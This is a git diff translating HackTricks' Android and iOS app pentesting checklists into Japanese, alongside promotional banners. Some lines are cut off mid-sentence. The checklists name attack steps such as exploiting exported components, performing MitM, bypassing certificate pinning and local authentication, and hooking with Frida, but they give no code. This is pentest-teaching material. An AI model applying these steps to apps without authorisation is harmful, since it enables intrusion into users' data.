b/mobile-pentesting/android-checklist.md @@ -1,10 +1,10 @@ -# Android APK Checklist +# Android APK チェックリスト ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,84 +12,82 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有**するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 -### [Learn Android fundamentals](android-app-pentesting/#2-android-application-fundamentals) +### [Androidの基礎を学ぶ](android-app-pentesting/#2-android-application-fundamentals) -* [ ] [Basics](android-app-pentesting/#fundamentals-review) +* [ ] [基本](android-app-pentesting/#fundamentals-review) * [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali) -* [ ] [Entry points](android-app-pentesting/#application-entry-points) - * [ ] [Activities](android-app-pentesting/#launcher-activity) - * [ ] [URL Schemes](android-app-pentesting/#url-schemes) - * [ ] [Content Providers](android-app-pentesting/#services) - * [ ] [Services](android-app-pentesting/#services-1) - * [ ] [Broadcast Receivers](android-app-pentesting/#broadcast-receivers) - * [ ] [Intents](android-app-pentesting/#intents) - * [ ] [Intent Filter](android-app-pentesting/#intent-filter) -* [ ] [Other components](android-app-pentesting/#other-app-components) -* [ ] [How to use ADB](android-app-pentesting/#adb-android-debug-bridge) -* [ ] [How to modify Smali](android-app-pentesting/#smali) +* [ ] [エントリーポイント](android-app-pentesting/#application-entry-points) +* [ ] [アクティビティ](android-app-pentesting/#launcher-activity) +* [ ] [URLスキーム](android-app-pentesting/#url-schemes) +* [ ] [コンテンツプロバイダー](android-app-pentesting/#services) +* [ ] [サービス](android-app-pentesting/#services-1) +* [ ] [ブロードキャストレシーバー](android-app-pentesting/#broadcast-receivers) +* [ ] [インテント](android-app-pentesting/#intents) +* [ ] [インテントフィルター](android-app-pentesting/#intent-filter) +* [ ] [その他のコンポーネント](android-app-pentesting/#other-app-components) +* [ ] [ADBの使用方法](android-app-pentesting/#adb-android-debug-bridge) +* [ ] [Smaliの修正方法](android-app-pentesting/#smali) -### [Static Analysis](android-app-pentesting/#static-analysis) +### [静的解析](android-app-pentesting/#static-analysis) -* [ ] Check for the use of [obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), checks for noting if the mobile was rooted, if an emulator is being used and anti-tampering checks. [Read this for more info](android-app-pentesting/#other-checks). -* [ ] Sensitive applications (like bank apps) should check if the mobile is rooted and should actuate in consequence. -* [ ] Search for [interesting strings](android-app-pentesting/#looking-for-interesting-info) (passwords, URLs, API, encryption, backdoors, tokens, Bluetooth uuids...). - * [ ] Special attention to [firebase ](android-app-pentesting/#firebase)APIs. -* [ ] [Read the manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) - * [ ] Check if the application is in debug mode and try to "exploit" it - * [ ] Check if the APK allows backups - * [ ] Exported Activities - * [ ] Content Providers - * [ ] Exposed services - * [ ] Broadcast Receivers - * [ ] URL Schemes -* [ ] Is the application s[aving data insecurely internally or externally](android-app-pentesting/#insecure-data-storage)? -* [ ] Is there any [password hard coded or saved in disk](android-app-pentesting/#poorkeymanagementprocesses)? Is the app [using insecurely crypto algorithms](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)? -* [ ] All the libraries compiled using the PIE flag? -* [ ] Don't forget that there is a bunch of[ static Android Analyzers](android-app-pentesting/#automatic-analysis) that can help you a lot during this phase. +* [ ] [難読化の使用](android-checklist.md#some-obfuscation-deobfuscation-information)、ルート化されたモバイルのチェック、エミュレータの使用の有無、および防御チェックの確認。[詳細はこちらを参照](android-app-pentesting/#other-checks)。 +* [ ] 銀行アプリなどの機密アプリケーションは、モバイルがルート化されているかどうかをチェックし、それに応じて動作する必要があります。 +* [ ] [興味深い文字列](android-app-pentesting/#looking-for-interesting-info)(パスワード、URL、API、暗号化、バックドア、トークン、Bluetooth UUIDなど)を検索します。 +* [ ] FirebaseのAPIに特別な注意を払います。 +* [ ] [マニフェストを読む:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) +* [ ] アプリケーションがデバッグモードになっているかどうかをチェックし、それを「悪用」しようとします +* [ ] APKがバックアップを許可しているかどうかをチェックします +* [ ] エクスポートされたアクティビティ +* [ ] コンテンツプロバイダー +* [ ] 公開されたサービス +* [ ] ブロードキャストレシーバー +* [ ] URLスキーム +* [ ] アプリケーションが[内部または外部で安全にデータを保存](android-app-pentesting/#insecure-data-storage)しているかどうかを確認しますか? +* [ ] パスワードがハードコードされているかディスクに保存されているかを確認しますか?アプリは[安全でない暗号アルゴリズムを使用](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)していますか? +* [ ] すべてのライブラリはPIEフラグでコンパイルされていますか? +* [ ] このフェーズで非常に役立つ[静的Androidアナライザー](android-app-pentesting/#automatic-analysis)がいくつかありますので、忘れないでください。 -### [Dynamic Analysis](android-app-pentesting/#dynamic-analysis) +### [動的解析](android-app-pentesting/#dynamic-analysis) -* [ ] Prepare the environment ([online](android-app-pentesting/#online-dynamic-analysis), [local VM or physical](android-app-pentesting/#local-dynamic-analysis)) -* [ ] Is there any [unintended data leakage](android-app-pentesting/#unintended-data-leakage) (logging, copy/paste, crash logs)? -* [ ] [Confidential information being saved in SQLite dbs](android-app-pentesting/#sqlite-dbs)? -* [ ] [Exploitable exposed Activities](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)? -* [ ] [Exploitable Content Providers](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)? -* [ ] [Exploitable exposed Services](android-app-pentesting/#exploiting-services)? -* [ ] [Exploitable Broadcast Receivers](android-app-pentesting/#exploiting-broadcast-receivers)? -* [ ] Is the application [transmitting information in clear text/using weak algorithms](android-app-pentesting/#insufficient-transport-layer-protection)? is a MitM possible? -* [ ] [Inspect HTTP/HTTPS traffic](android-app-pentesting/#inspecting-http-traffic) - * [ ] This one is really important, because if you can capture the HTTP traffic you can search for common Web vulnerabilities (Hacktricks has a lot of information about Web vulns). -* [ ] Check for possible [Android Client Side Injections](android-app-pentesting/#android-client-side-injections-and-others) (probably some static code analysis will help here) -* [ ] [Frida](android-app-pentesting/#frida): Just Frida, use it to obtain interesting dynamic data from the application (maybe some passwords...) +* [ ] 環境を準備する([オンライン](android-app-pentesting/#online-dynamic-analysis)、[ローカルVMまたは物理的な環境](android-app-pentesting/#local-dynamic-analysis)) +* [ ] [意図しないデータの漏洩](android-app-pentesting/#unintended-data-leakage)(ログ、コピー/貼り付け、クラッシュログ)はありますか? +* [ ] [SQLiteデータベースに保存されている機密情報](android-app-pentesting/#sqlite-dbs)はありますか? +* [ ] [悪用可能な公開アクティビティ](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)はありますか? +* [ ] [悪用可能なコンテンツプロバイダー](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)はありますか? +* [ ] [悪用可能な公開サービス](android-app-pentesting/#exploiting-services)はありますか? +* [ ] [悪用可能なブロードキャストレシーバー](android-app-pentesting/#exploiting-broadcast-receivers)はありますか? +* [ ] アプリケーションが[平文で情報を送信/弱いアルゴリズムを使用](android-app-pentesting/#insufficient-transport-layer-protection)していませんか?MitMが可能ですか? +* [ ] HTTP/HTTPSトラフィックを[検査](android-app-pentesting/#inspecting-http-traffic)します +* [ ] これは非常に重要です。HTTPトラフィックをキャプチャできれば、一般的なWebの脆弱性を検索できます(HacktricksにはWebの脆弱性に関する多くの情報があります)。 +* [ ] 可能な[Androidクライアントサイドインジェクション](android-app-pentesting/#android-client-side-injections-and-others)をチェックします(おそらく静的コード解析がここで役立つでしょ +### 一部の難読化/難読化解除の情報 -### Some obfuscation/Deobfuscation information - -* [ ] [Read here](android-app-pentesting/#obfuscating-deobfuscating-code) +* [ ] [こちらを読む](android-app-pentesting/#obfuscating-deobfuscating-code)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/mobile-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md index f080b47e2..790a2c1a4 100644 --- a/mobile-pentesting/ios-pentesting-checklist.md +++ b/mobile-pentesting/ios-pentesting-checklist.md @@ -3,8 +3,8 @@ ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,118 +12,104 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有**するには、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 -### Preparation +### 準備 -* [ ] Read [**iOS Basics**](ios-pentesting/ios-basics.md) -* [ ] Prepare your environment reading [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md) -* [ ] Read all the sections of [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) to learn common actions to pentest an iOS application +* [ ] [**iOSの基礎**](ios-pentesting/ios-basics.md)を読む +* [ ] [**iOSテスト環境**](ios-pentesting/ios-testing-environment.md)を読んで環境を準備する +* [ ] [**iOSの初期分析**](ios-pentesting/#initial-analysis)のすべてのセクションを読んで、iOSアプリをペンテストするための一般的なアクションを学ぶ -### Data Storage +### データの保存 -* [ ] [**Plist files**](ios-pentesting/#plist) can be used to store sensitive information. -* [ ] [**Core Data**](ios-pentesting/#core-data) (SQLite database) can store sensitive information. -* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (SQLite database) can store sensitive information. -* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) miss-configuration. -* [ ] [**Realm databases**](ios-pentesting/#realm-databases) can store sensitive information. -* [ ] [**Couchbase Lite databases**](ios-pentesting/#couchbase-lite-databases) can store sensitive information. -* [ ] [**Binary cookies**](ios-pentesting/#cookies) can store sensitive information -* [ ] [**Cache data**](ios-pentesting/#cache) can store sensitive information -* [ ] [**Automatic snapshots**](ios-pentesting/#snapshots) can save visual sensitive information -* [ ] [**Keychain**](ios-pentesting/#keychain) is usually used to store sensitive information that can be left when reselling the phone. -* [ ] In summary, just **check for sensitive information saved by the application in the filesystem** +* [ ] [**Plistファイル**](ios-pentesting/#plist)には、機密情報を保存するために使用できます。 +* [ ] [**Core Data**](ios-pentesting/#core-data)(SQLiteデータベース)には、機密情報を保存することができます。 +* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)(SQLiteデータベース)には、機密情報を保存することができます。 +* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases)の設定ミス。 +* [ ] [**Realmデータベース**](ios-pentesting/#realm-databases)には、機密情報を保存することができます。 +* [ ] [**Couchbase Liteデータベース**](ios-pentesting/#couchbase-lite-databases)には、機密情報を保存することができます。 +* [ ] [**バイナリクッキー**](ios-pentesting/#cookies)には、機密情報を保存することができます。 +* [ ] [**キャッシュデータ**](ios-pentesting/#cache)には、機密情報を保存することができます。 +* [ ] [**自動スナップショット**](ios-pentesting/#snapshots)には、視覚的に機密情報を保存することができます。 +* [ ] [**キーチェーン**](ios-pentesting/#keychain)は、通常、電話の再販時に残される可能性のある機密情報を保存するために使用されます。 +* [ ] 要約すると、アプリケーションがファイルシステムに保存する機密情報をチェックするだけです。 -### Keyboards +### キーボード -* [ ] Does the application [**allow to use custom keyboards**](ios-pentesting/#custom-keyboards-keyboard-cache)? -* [ ] Check if sensitive information is saved in the [**keyboards cache files**](ios-pentesting/#custom-keyboards-keyboard-cache) +* [ ] アプリケーションが[**カスタムキーボードの使用を許可**](ios-pentesting/#custom-keyboards-keyboard-cache)しているかどうかを確認します。 +* [ ] [**キーボードキャッシュファイル**](ios-pentesting/#custom-keyboards-keyboard-cache)に機密情報が保存されていないかを確認します。 -### **Logs** +### **ログ** -* [ ] Check if [**sensitive information is being logged**](ios-pentesting/#logs) +* [ ] [**機密情報がログに記録されている**](ios-pentesting/#logs)かどうかを確認します。 -### Backups +### バックアップ -* [ ] [**Backups**](ios-pentesting/#backups) can be used to **access the sensitive information** saved in the file system (check the initial point of this checklist) -* [ ] Also, [**backups**](ios-pentesting/#backups) can be used to **modify some configurations of the application**, then **restore** the backup on the phone, and the as the **modified configuration** is **loaded** some (security) **functionality** may be **bypassed** +* [ ] [**バックアップ**](ios-pentesting/#backups)を使用して、ファイルシステムに保存された機密情報にアクセスできます(このチェックリストの最初のポイントを確認してください)。 +* [ ] また、[**バックアップ**](ios-pentesting/#backups)を使用して、アプリケーションの一部の設定を変更し、バックアップを電話に**復元**することで、**変更された設定**が**ロード**されるため、いくつかの(セキュリティ)**機能がバイパス**される可能性があります。 -### **Applications Memory** +### **アプリケーションのメモリ** -* [ ] Check for sensitive information inside the [**application's memory**](ios-pentesting/#testing-memory-for-sensitive-data) +* [ ] [**アプリケーションのメモリ**](ios-pentesting/#testing-memory-for-sensitive-data)内に機密情報がないかをチェックします。 -### **Broken Cryptography** +### **破損した暗号化** -* [ ] Check if yo can find [**passwords used for cryptography**](ios-pentesting/#broken-cryptography) -* [ ] Check for the use of [**deprecated/weak algorithms**](ios-pentesting/#broken-cryptography) to send/store sensitive data -* [ ] [**Hook and monitor cryptography functions**](ios-pentesting/#broken-cryptography) +* [ ] 暗号化に使用される[**パスワード**](ios-pentesting/#broken-cryptography)を見つけることができるかどうかを確認します。 +* [ ] 送信/保存する機密データに[**非推奨/弱いアルゴリズム**](ios-pentesting/#broken-cryptography)が使用されていないかを確認します。 +* [ ] 暗号化関数を[**フックして監視**](ios-pentesting/#broken-cryptography)します。 -### **Local Authentication** +### **ローカル認証** -* [ ] If a [**local authentication**](ios-pentesting/#local-authentication) is used in the application, you should check how the authentication is working. - * [ ] If it's using the [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework) it could be easily bypassed - * [ ] If it's using a [**function that can dynamically bypassed**](ios-pentesting/#local-authentication-using-keychain) you could create a custom frida script +* [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証の動作方法を確認する必要があります。 +* [ ] [**ローカル認証フレームワーク**](ios-pentesting/#local-authentication-framework)を使用している場合、簡単にバイパスできる可能性があります。 +* [ ] [**キーチェーンを使用したローカル認証**](ios-pentesting/#local-authentication-using-keychain)を動的にバイパスできる関数を使用している場合、カスタムのfridaスクリプトを作成できます。 -### Sensitive Functionality Exposure Through IPC +### IPCを介した機密機能の公開 -* [**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) - * [ ] Check if the application is **registering any protocol/scheme** - * [ ] Check if the application is **registering to use** any protocol/scheme - * [ ] Check if the application **expects to receive any kind of sensitive information** from the custom scheme that can be **intercepted** by the another application registering the same scheme - * [ ] Check if the application **isn't checking and sanitizing** users input via the custom scheme and some **vulnerability can be exploited** - * [ ] Check if the application **exposes any sensitive action** that can be called from anywhere via the custom scheme -* [**Universal Links**](ios-pentesting/#universal-links) - * [ ] Check if the application is **registering any universal protocol/scheme** - * [ ] Check the `apple-app-site-association` file - * [ ] Check if the application **isn't checking and sanitizing** users input via the custom scheme and some **vulnerability can be exploited** - * [ ] Check if the application **exposes any sensitive action** that can be called from anywhere via the custom scheme -* [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md) - * [ ] Check if the application can receive UIActivities and if it's possible to exploit any vulnerability with specially crafted activity -* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) - * [ ] Check if the application if **copying anything to the general pasteboard** - * [ ] Check if the application if **using the data from the general pasteboard for anything** - * [ ] Monitor the pasteboard to see if any **sensitive data is copied** -* [**App Extensions**](ios-pentesting/ios-app-extensions.md) - * [ ] Is the application **using any extension**? -* [**WebViews**](ios-pentesting/ios-webviews.md) - * [ ] Check which kind of webviews are being used - * [ ] Check the status of **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** - * [ ] Check if the webview can **access local files** with the protocol **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`) - * [ ] Check if Javascript can access **Native** **methods** (`JSContext`, `postMessage`) +* [**カスタムURIハンドラ/ディープ +* [ ] アプリケーションが**一般のペーストボードからデータを使用しているか**を確認する +* [ ] ペーストボードを監視して、**機密データがコピーされているか**を確認する +* [**アプリ拡張**](ios-pentesting/ios-app-extensions.md) +* [ ] アプリケーションが**拡張機能を使用しているか**を確認する +* [**Webビュー**](ios-pentesting/ios-webviews.md) +* [ ] 使用されているWebビューの種類を確認する +* [ ] **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**のステータスを確認する +* [ ] Webビューが**`file://`**プロトコルで**ローカルファイルにアクセスできるか**を確認する(**`allowFileAccessFromFileURLs`**、**`allowUniversalAccessFromFileURLs`**) +* [ ] Javascriptが**ネイティブメソッドにアクセスできるか**を確認する(**`JSContext`**、**`postMessage`**) -### Network Communication +### ネットワーク通信 -* [ ] Perform a [**MitM to the communication**](ios-pentesting/#network-communication) and search for web vulnerabilities. -* [ ] Check if the [**hostname of the certificate**](ios-pentesting/#hostname-check) is checked -* [ ] Check/Bypass [**Certificate Pinning**](ios-pentesting/#certificate-pinning) +* [ ] 通信に対して[**MitM攻撃を実行**](ios-pentesting/#network-communication)し、Webの脆弱性を検索する +* [ ] [**証明書のホスト名**](ios-pentesting/#hostname-check)がチェックされているか確認する +* [ ] [**証明書ピニング**](ios-pentesting/#certificate-pinning)のチェック/バイパスを行う -### **Misc** +### その他 -* [ ] Check for [**automatic patching/updating**](ios-pentesting/#hot-patching-enforced-updateing) mechanisms -* [ ] Check for [**malicious third party libraries**](ios-pentesting/#third-parties) +* [ ] [**自動パッチング/更新**](ios-pentesting/#hot-patching-enforced-updateing)メカニズムをチェックする +* [ ] [**悪意のあるサードパーティライブラリ**](ios-pentesting/#third-parties)をチェックする
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/mobile-pentesting/ios-pentesting/README.md b/mobile-pentesting/ios-pentesting/README.md index ef9b43168..8e9c77b72 100644 --- a/mobile-pentesting/ios-pentesting/README.md +++ b/mobile-pentesting/ios-pentesting/README.md @@ -3,8 +3,8 @@ ![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -14,213 +14,146 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** 